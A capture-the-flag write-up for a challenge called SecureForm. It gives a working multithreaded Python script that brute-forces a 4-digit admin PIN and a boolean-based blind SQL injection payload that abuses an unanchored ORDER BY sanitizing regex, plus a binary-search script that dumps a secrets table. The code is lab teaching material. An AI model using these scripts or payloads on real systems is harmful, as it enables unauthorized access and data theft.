Challenge Description:
You've discovered the admin panel of a contact form application called SecureForm. Access is protected by a 4-digit PIN... but is it really secure?
Once inside, the dashboard lists form submissions and offers sorting options. The developer tried to mimic WordPress sanitization, but something slipped through.
brute forcing the pin
First, the login is protected by a 4-digit PIN. I just threw a quick python multithreading script at it and cracked it
brute.py
import requests
import concurrent.futures
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
url = "https://dalctf-secureform-admin-47-64616c.instancer.dalctf2026.com"
session = requests.Session()
retries = Retry(total=3, backoff_factor=0.1, status_forcelist=[500, 502, 503, 504])
session.mount('https://', HTTPAdapter(max_retries=retries))
def check_pin(pin):
pin_str = f"{pin:04d}"
try:
response = session.post(url, data={"pin": pin_str}, timeout=5, allow_redirects=False)
if response.status_code == 302 or "Invalid PIN" not in response.text:
return pin_str
except Exception as e:
pass
return None
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = {executor.submit(check_pin, i): i for i in range(10000)}
for count, future in enumerate(concurrent.futures.as_completed(futures)):
res = future.result()
if res:
print(f"Found PIN: {res}")
results.append(res)
break
if count % 1000 == 0:
print(f"Checked {count} pins...")
if not results:
print("Not found.")
The PIN was 7392
the sqli
Inside the dashboard, there's a sorting feature for the form submissions (?orderby=name&order=ASC). The developer tried to mimic WordPress's sanitize_sql_orderby() regex, but they completely fucked up by not anchoring the end of the string (missing the $ at the end of the regex).
This means as long as our payload starts with a valid column name like name, we can append whatever SQL we want and bypass the filter. Btw, injecting invalid SQL throws a visible "An error occurred while fetching entries" message on the page, giving us a perfect Boolean-Based Blind SQLi vector.
I crafted a payload using CASE WHEN to force a subquery error if the condition was false:
payload
name, (SELECT CASE WHEN ({condition}) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)
I wrote a binary search script to dump the tables, found a secrets table with a flag column, and exfiltrated the flag character by character.
the dump script
dump.py
import requests
url = "https://dalctf-secureform-admin-47-64616c.instancer.dalctf2026.com/dashboard.php"
cookies = {"PHPSESSID": "b077c775410b6c05bcd277ddb8f55cb8"}
def query(condition):
orderby = f"name, (SELECT CASE WHEN ({condition}) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)"
res = requests.get(url, params={"orderby": orderby, "order": "ASC"}, cookies=cookies)
return "error occurred" not in res.text
def binary_search(query_str):
result = ""
for i in range(1, 100):
low = 32
high = 126
ans = 0
while low <= high:
mid = (low + high) // 2
if query(f"ASCII(SUBSTRING(({query_str}), {i}, 1)) > {mid}"):
low = mid + 1
elif query(f"ASCII(SUBSTRING(({query_str}), {i}, 1)) = {mid}"):
ans = mid
break
else:
high = mid - 1
if ans == 0:
break
result += chr(ans)
print(f"Current result: {result}")
return result
print("Flag:")
binary_search("SELECT GROUP_CONCAT(flag) FROM secrets")
Flag
dalctf{bl1nd_sqli_0rd3r_by}